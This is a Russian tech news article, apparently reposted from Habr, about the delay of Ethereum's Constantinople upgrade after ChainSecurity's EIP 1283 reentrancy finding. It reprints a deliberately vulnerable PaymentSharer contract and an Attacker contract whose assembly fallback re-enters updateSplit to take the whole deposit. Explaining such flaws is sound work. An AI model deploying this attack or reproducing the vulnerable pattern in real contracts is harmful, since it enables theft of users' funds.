- PVSM.RU - https://www.pvsm.ru -

Обновление* Ethereum «Constantinople» откладывается из-за найденной в последний момент потенциальной уязвимости

image
*многие называют это событие «hard fork»-ом, но «Виталик» против [1].

Долгожданный релиз Constantinople должен был состояться 17 января, в 4AM UTC [2], однако, в очередной раз жестоко обломав несметную армию разработчиков countdown счетчиков [3] этому не суждено будет сбыться.

За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.

Событием, поднявшим на уши все сообщество, стало опрометчивое предложение EIP 1283 [4], удешевлеяющее выполнение инструкции SSTORE (sic!). Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций.

События 15 января развивались следующим образом [5] (время в PST):
— в 8 утра ChainSecurity публикует описание уязвимости [6];
— тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут вот [6];
— до полудня происходят бурные дебаты в чатах и «голосом»;
— к обеду принято решение отменять апдейт.

Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.

Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха). Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех.

О технических деталях уязвимости лучше почитать в оригинале статьи от ChainSecurity [6], разобраться там не сложно.

Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.

Код уявзимого контракта (с моими комментариями):

pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  // здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  // кладем сумму на депозит, который в последствии будут делить участники
  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  // задаем в какой пропорции делить депозит
  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  // непосредственно, дележ (в соответсвтии с установленной пропорцией split)
  function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
    
    // пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
    a.transfer(depo * splits[id] / 100);
    // остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

Код атакующего контракта:

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  // злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  // fallback метод, вызывается по умолчанию на transfer-е
  function () payable external {
    address x = victim;
    // собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }    
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

* в оригинале упущено, но где-то должна быть инициализация вида:

init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)

перед вызовом метода attack.

Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).

Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги.

Автор: robert_ayrapetyan

Источник [7]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/uyazvimost/305382

Ссылки в тексте:

[1] против: https://twitter.com/VitalikButerin/status/1083450179347394560

[2] 17 января, в 4AM UTC: https://www.coindesk.com/what-to-expect-when-ethereums-constantinople-hard-fork-happens

[3] countdown счетчиков: https://www.reddit.com/r/ethereum/comments/agcmiq/nethermind_constantinople_countdown_092_available/

[4] EIP 1283: https://eips.ethereum.org/EIPS/eip-1283

[5] следующим образом: https://blog.ethereum.org/2019/01/15/security-alert-ethereum-constantinople-postponement/

[6] описание уязвимости: https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9

[7] Источник: https://habr.com/ru/post/436262/?utm_campaign=436262